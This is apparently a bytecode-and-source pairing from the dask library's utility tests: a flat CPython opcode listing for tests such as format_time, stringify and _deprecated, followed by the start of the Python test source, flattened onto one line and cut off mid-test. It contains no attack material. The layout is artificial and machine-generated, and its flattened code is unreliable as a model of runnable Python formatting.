LOAD_GLOBAL is_arraylike LOAD_FAST np LOAD_METHOD empty LOAD_CONST (0,) CALL_METHOD CALL_FUNCTION LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL is_arraylike LOAD_FAST np LOAD_METHOD empty LOAD_CONST (0, 0) CALL_METHOD CALL_FUNCTION LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 14 LOAD_CONST 8 LOAD_CONST 5 LOAD_CONST 9 LOAD_CONST 7 LOAD_CONST 9 LOAD_CONST 1 LOAD_CONST 19 LOAD_CONST 8 LOAD_CONST 19 BUILD_LIST STORE_FAST sizes LOAD_GLOBAL list LOAD_GLOBAL iter_chunks LOAD_FAST sizes LOAD_CONST 19 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 14 BUILD_LIST LOAD_CONST 8 LOAD_CONST 5 BUILD_LIST LOAD_CONST 9 LOAD_CONST 7 BUILD_LIST LOAD_CONST 9 LOAD_CONST 1 BUILD_LIST LOAD_CONST 19 BUILD_LIST LOAD_CONST 8 BUILD_LIST LOAD_CONST 19 BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_GLOBAL iter_chunks LOAD_FAST sizes LOAD_CONST 28 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 14 LOAD_CONST 8 LOAD_CONST 5 BUILD_LIST LOAD_CONST 9 LOAD_CONST 7 LOAD_CONST 9 LOAD_CONST 1 BUILD_LIST LOAD_CONST 19 LOAD_CONST 8 BUILD_LIST LOAD_CONST 19 BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_GLOBAL iter_chunks LOAD_FAST sizes LOAD_CONST 67 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 14 LOAD_CONST 8 LOAD_CONST 5 LOAD_CONST 9 LOAD_CONST 7 LOAD_CONST 9 LOAD_CONST 1 BUILD_LIST LOAD_CONST 19 LOAD_CONST 8 LOAD_CONST 19 BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'Hello' STORE_FAST obj LOAD_GLOBAL stringify LOAD_FAST obj CALL_FUNCTION LOAD_FAST obj COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'Hello' STORE_FAST obj LOAD_GLOBAL stringify LOAD_FAST obj CALL_FUNCTION LOAD_FAST obj COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'x' LOAD_CONST 1 BUILD_MAP STORE_DEREF dsk LOAD_GLOBAL stringify LOAD_DEREF dsk CALL_FUNCTION LOAD_GLOBAL str LOAD_DEREF dsk CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL stringify LOAD_DEREF dsk LOAD_CONST () LOAD_CONST ('exclusive',) CALL_FUNCTION LOAD_DEREF dsk COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST ('x', 1) LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE BUILD_MAP STORE_DEREF dsk LOAD_GLOBAL stringify LOAD_DEREF dsk CALL_FUNCTION LOAD_GLOBAL str LOAD_CONST ('x', 1) LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE BUILD_MAP CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL stringify LOAD_DEREF dsk LOAD_CONST () LOAD_CONST ('exclusive',) CALL_FUNCTION LOAD_CONST ('x', 1) LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL inc LOAD_CONST ('x', 1) BUILD_TUPLE LOAD_CONST (('x', 1), ('x', 2)) BUILD_CONST_KEY_MAP STORE_DEREF dsk LOAD_GLOBAL stringify LOAD_DEREF dsk LOAD_DEREF dsk LOAD_CONST ('exclusive',) CALL_FUNCTION LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL inc LOAD_GLOBAL str LOAD_CONST ('x', 1) CALL_FUNCTION BUILD_TUPLE LOAD_CONST (('x', 1), ('x', 2)) BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'x' LOAD_CONST 1 BUILD_MAP LOAD_GLOBAL inc LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL inc LOAD_CONST ('x', 1) BUILD_TUPLE LOAD_CONST (('x', 1), ('x', 2)) BUILD_CONST_KEY_MAP LOAD_GLOBAL sum LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_TUPLE LOAD_GLOBAL sum LOAD_CONST ('x', 1) LOAD_CONST ('x', 1) BUILD_LIST BUILD_TUPLE LOAD_CONST (('x', 1), ('x', 2)) BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST dsks SETUP_LOOP to 374 LOAD_FAST dsks GET_ITER FOR_ITER to 372 STORE_DEREF dsk LOAD_CLOSURE dsk BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7f8ab684b270, file "f.py", line 764> LOAD_CONST 'test_stringify.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_DEREF dsk LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST sdsk LOAD_GLOBAL list LOAD_DEREF dsk CALL_FUNCTION STORE_FAST keys LOAD_CONST <code object <listcomp> at 0x7f8ab684b150, file "f.py", line 766> LOAD_CONST 'test_stringify.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST keys GET_ITER CALL_FUNCTION STORE_FAST skeys LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7f8ab684b420, file "f.py", line 767> LOAD_CONST 'test_stringify.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST sdsk GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get LOAD_DEREF dsk LOAD_FAST keys CALL_FUNCTION LOAD_GLOBAL get LOAD_FAST sdsk LOAD_FAST skeys CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST ('y', 1) LOAD_GLOBAL SubgraphCallable LOAD_CONST 'x' LOAD_CONST ('y', 1) BUILD_MAP LOAD_CONST 'x' LOAD_CONST (('y', 1),) CALL_FUNCTION LOAD_CONST (('z', 1),) BUILD_TUPLE BUILD_MAP STORE_DEREF dsk LOAD_GLOBAL stringify LOAD_DEREF dsk LOAD_GLOBAL set LOAD_DEREF dsk CALL_FUNCTION LOAD_CONST ('z', 1) BUILD_SET BINARY_OR LOAD_CONST ('exclusive',) CALL_FUNCTION STORE_DEREF dsk LOAD_DEREF dsk LOAD_CONST ('y', 1) BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR dsk LOAD_CONST 'x' BINARY_SUBSCR LOAD_CONST "('y', 1)" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF dsk LOAD_CONST ('y', 1) BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST "('z', 1)" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 32 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_GLOBAL stringify LOAD_FAST v LOAD_DEREF dsk LOAD_CONST ('exclusive',) CALL_FUNCTION LOAD_GLOBAL stringify LOAD_FAST k CALL_FUNCTION MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST k LOAD_GLOBAL str LOAD_FAST k CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST k LOAD_GLOBAL isinstance LOAD_FAST k LOAD_GLOBAL str CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'Hello' STORE_FAST obj LOAD_GLOBAL stringify_collection_keys LOAD_FAST obj CALL_FUNCTION LOAD_FAST obj COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST ('a', 0) LOAD_CONST (b'a', 0) LOAD_CONST (1, 1) BUILD_LIST STORE_FAST obj LOAD_GLOBAL stringify_collection_keys LOAD_FAST obj CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL str LOAD_FAST obj LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL str LOAD_FAST obj LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST obj LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL format_bytes LOAD_GLOBAL int LOAD_FAST n CALL_FUNCTION CALL_FUNCTION LOAD_FAST expect COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL format_time LOAD_CONST 1.4 CALL_FUNCTION LOAD_CONST '1.40 s' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 10.4 CALL_FUNCTION LOAD_CONST '10.40 s' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 100.4 CALL_FUNCTION LOAD_CONST '100.40 s' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 1000.4 CALL_FUNCTION LOAD_CONST '16m 40s' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 10000.4 CALL_FUNCTION LOAD_CONST '2hr 46m' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 1234.567 CALL_FUNCTION LOAD_CONST '20m 34s' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 12345.67 CALL_FUNCTION LOAD_CONST '3hr 25m' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 123456.78 CALL_FUNCTION LOAD_CONST '34hr 17m' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL format_time LOAD_CONST 1234567.8 CALL_FUNCTION LOAD_CONST '14d 6hr' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _deprecated CALL_FUNCTION LOAD_CONST <code object foo at 0x7f8ab684b1e0, file "f.py", line 821> LOAD_CONST 'test_deprecated.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL FutureWarning CALL_METHOD SETUP_WITH to 44 STORE_FAST record LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL len LOAD_FAST record CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST record LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR message CALL_FUNCTION STORE_FAST msg LOAD_CONST 'foo is deprecated' LOAD_FAST msg COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'removed in a future release' LOAD_FAST msg COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'bar' RETURN_VALUE LOAD_GLOBAL _deprecated LOAD_CONST '1.2.3' LOAD_CONST ('version',) CALL_FUNCTION LOAD_CONST <code object foo at 0x7f8ab684bd20, file "f.py", line 835> LOAD_CONST 'test_deprecated_version.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL pytest LOAD_ATTR warns LOAD_GLOBAL FutureWarning LOAD_CONST 'deprecated in version 1.2.3' LOAD_CONST ('match',) CALL_FUNCTION SETUP_WITH to 52 POP_TOP LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 'bar' RETURN_VALUE LOAD_GLOBAL _deprecated LOAD_CONST '1.2.3' LOAD_CONST ('after_version',) CALL_FUNCTION LOAD_CONST <code object foo at 0x7f8ab684b780, file "f.py", line 844> LOAD_CONST 'test_deprecated_after_version.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL pytest LOAD_ATTR warns LOAD_GLOBAL FutureWarning LOAD_CONST 'deprecated after version 1.2.3' LOAD_CONST ('match',) CALL_FUNCTION SETUP_WITH to 52 POP_TOP LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 'bar' RETURN_VALUE LOAD_GLOBAL _deprecated LOAD_GLOBAL DeprecationWarning LOAD_CONST ('category',) CALL_FUNCTION LOAD_CONST <code object foo at 0x7f8ab684b930, file "f.py", line 853> LOAD_CONST 'test_deprecated_category.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL DeprecationWarning CALL_METHOD SETUP_WITH to 48 POP_TOP LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 'bar' RETURN_VALUE LOAD_GLOBAL _deprecated LOAD_CONST 'woohoo' LOAD_CONST ('message',) CALL_FUNCTION LOAD_CONST <code object foo at 0x7f8ab684b030, file "f.py", line 862> LOAD_CONST 'test_deprecated_message.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL FutureWarning CALL_METHOD SETUP_WITH to 48 STORE_FAST record LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL len LOAD_FAST record CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST record LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR message CALL_FUNCTION LOAD_CONST 'woohoo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'bar' RETURN_VALUE LOAD_GLOBAL typename LOAD_GLOBAL HighLevelGraph CALL_FUNCTION LOAD_CONST 'dask.highlevelgraph.HighLevelGraph' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL typename LOAD_GLOBAL HighLevelGraph LOAD_CONST True LOAD_CONST ('short',) CALL_FUNCTION LOAD_CONST 'dask.HighLevelGraph' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MyType' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MyType CALL_FUNCTION STORE_FAST instance LOAD_GLOBAL typename LOAD_FAST instance CALL_FUNCTION LOAD_GLOBAL typename LOAD_GLOBAL MyType CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST (1, 2, 3, 4) STORE_FAST a LOAD_GLOBAL cached_cumsum LOAD_FAST a CALL_FUNCTION STORE_FAST x LOAD_GLOBAL cached_cumsum LOAD_FAST a LOAD_CONST True LOAD_CONST ('initial_zero',) CALL_FUNCTION STORE_FAST y LOAD_FAST x LOAD_CONST (1, 3, 6, 10) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST y LOAD_CONST (0, 1, 3, 6, 10) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_CONST 1 LOAD_FAST np LOAD_ATTR nan LOAD_CONST 3 BUILD_TUPLE STORE_FAST a LOAD_GLOBAL cached_cumsum LOAD_FAST a CALL_FUNCTION STORE_FAST x LOAD_GLOBAL cached_cumsum LOAD_FAST a LOAD_CONST True LOAD_CONST ('initial_zero',) CALL_FUNCTION STORE_FAST y LOAD_FAST np LOAD_ATTR testing LOAD_METHOD assert_equal LOAD_FAST x LOAD_CONST 1 LOAD_FAST np LOAD_ATTR nan LOAD_FAST np LOAD_ATTR nan BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST np LOAD_ATTR testing LOAD_METHOD assert_equal LOAD_FAST y LOAD_CONST 0 LOAD_CONST 1 LOAD_FAST np LOAD_ATTR nan LOAD_FAST np LOAD_ATTR nan BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST STORE_FAST a LOAD_GLOBAL cached_cumsum LOAD_FAST a CALL_FUNCTION LOAD_CONST (1, 3, 6) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 4 LOAD_FAST a LOAD_CONST 1 STORE_SUBSCR LOAD_GLOBAL cached_cumsum LOAD_FAST a CALL_FUNCTION LOAD_CONST (1, 5, 8) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL tmpfile CALL_FUNCTION SETUP_WITH to 28 STORE_FAST fn LOAD_FAST fn LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST '.' COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL tmpfile LOAD_CONST 'jpg' LOAD_CONST ('extension',) CALL_FUNCTION SETUP_WITH to 70 STORE_FAST fn LOAD_FAST fn LOAD_CONST -4 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST '.jpg' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL tmpfile LOAD_CONST '.jpg' LOAD_CONST ('extension',) CALL_FUNCTION SETUP_WITH to 128 STORE_FAST fn LOAD_FAST fn LOAD_CONST -4 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST '.jpg' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fn LOAD_CONST -5 BINARY_SUBSCR LOAD_CONST '.' COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'pandas' CALL_METHOD STORE_FAST pd LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'dask.array' CALL_METHOD STORE_FAST da LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'dask.dataframe' CALL_METHOD STORE_FAST dd LOAD_GLOBAL get_meta_library LOAD_FAST pd LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_FAST pd COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST np LOAD_METHOD array BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_FAST np COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST pd LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST pd LOAD_ATTR DataFrame CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST np LOAD_METHOD ndarray BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST np LOAD_ATTR ndarray CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST pd LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST dd LOAD_ATTR from_dict BUILD_MAP LOAD_CONST 1 LOAD_CONST ('npartitions',) CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST np LOAD_METHOD ndarray BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST da LOAD_METHOD from_array BUILD_LIST CALL_METHOD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'cupy' CALL_METHOD STORE_FAST cp LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'cudf' CALL_METHOD STORE_FAST cudf LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'dask.array' CALL_METHOD STORE_FAST da LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'dask.dataframe' CALL_METHOD STORE_FAST dd LOAD_GLOBAL get_meta_library LOAD_FAST cudf LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_FAST cudf COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST cp LOAD_METHOD array BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_FAST cp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST cudf LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST cudf LOAD_ATTR DataFrame CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST cp LOAD_METHOD ndarray BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST cp LOAD_ATTR ndarray CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST cudf LOAD_METHOD DataFrame CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST dd LOAD_ATTR from_dict BUILD_MAP LOAD_CONST 1 LOAD_CONST ('npartitions',) CALL_FUNCTION LOAD_METHOD to_backend LOAD_CONST 'cudf' CALL_METHOD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL get_meta_library LOAD_FAST cp LOAD_METHOD ndarray BUILD_LIST CALL_METHOD CALL_FUNCTION LOAD_GLOBAL get_meta_library LOAD_FAST da LOAD_METHOD from_array BUILD_LIST CALL_METHOD LOAD_METHOD to_backend LOAD_CONST 'cupy' CALL_METHOD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
from __future__ import annotations import datetime import functools import operator import pickle from array import array import pytest from tlz import curry from dask import get from dask.highlevelgraph import HighLevelGraph from dask.optimization import SubgraphCallable from dask.utils import ( Dispatch, M, SerializableLock, _deprecated, asciitable, cached_cumsum, derived_from, ensure_bytes, ensure_dict, ensure_set, ensure_unicode, extra_titles, format_bytes, format_time, funcname, get_meta_library, getargspec, has_keyword, is_arraylike, itemgetter, iter_chunks, memory_repr, methodcaller, ndeepmap, parse_bytes, parse_timedelta, partial_by_order, random_state_data, skip_doctest, stringify, stringify_collection_keys, takes_multiple_arguments, tmpfile, typename, ) from dask.utils_test import inc def test_ensure_bytes(): data = [b"1", "1", memoryview(b"1"), bytearray(b"1"), array("B", b"1")] for d in data: result = ensure_bytes(d) assert isinstance(result, bytes) assert result == b"1" def test_ensure_bytes_ndarray(): np = pytest.importorskip("numpy") result = ensure_bytes(np.arange(12)) assert isinstance(result, bytes) def test_ensure_bytes_pyarrow_buffer(): pa = pytest.importorskip("pyarrow") buf = pa.py_buffer(b"123") result = ensure_bytes(buf) assert isinstance(result, bytes) def test_ensure_unicode(): data = [b"1", "1", memoryview(b"1"), bytearray(b"1"), array("B", b"1")] for d in data: result = ensure_unicode(d) assert isinstance(result, str) assert result == "1" def test_ensure_unicode_ndarray(): np = pytest.importorskip("numpy") a = np.frombuffer(b"123", dtype="u1") result = ensure_unicode(a) assert isinstance(result, str) assert result == "123" def test_ensure_unicode_pyarrow_buffer(): pa = pytest.importorskip("pyarrow") buf = pa.py_buffer(b"123") result = ensure_unicode(buf) assert isinstance(result, str) assert result == "123" def test_getargspec(): def func(x, y): pass assert getargspec(func).args == ["x", "y"] func2 = functools.partial(func, 2) assert getargspec(func2).args == ["x", "y"] def wrapper(*args, **kwargs): pass wrapper.__wrapped__ = func assert getargspec(wrapper).args == ["x", "y"] class MyType: def __init__(self, x, y): pass assert getargspec(MyType).args == ["self", "x", "y"] def test_takes_multiple_arguments(): assert takes_multiple_arguments(map) assert not takes_multiple_arguments(sum) def multi(a, b, c): return a, b, c class Singular: def __init__(self, a): pass class Multi: def __init__(self, a, b): pass assert takes_multiple_arguments(multi) assert not takes_multiple_arguments(Singular) assert takes_multiple_arguments(Multi) def f(): pass assert not takes_multiple_arguments(f) def vararg(*args): pass assert takes_multiple_arguments(vararg) assert not takes_multiple_arguments(vararg, varargs=False) def test_dispatch(): foo = 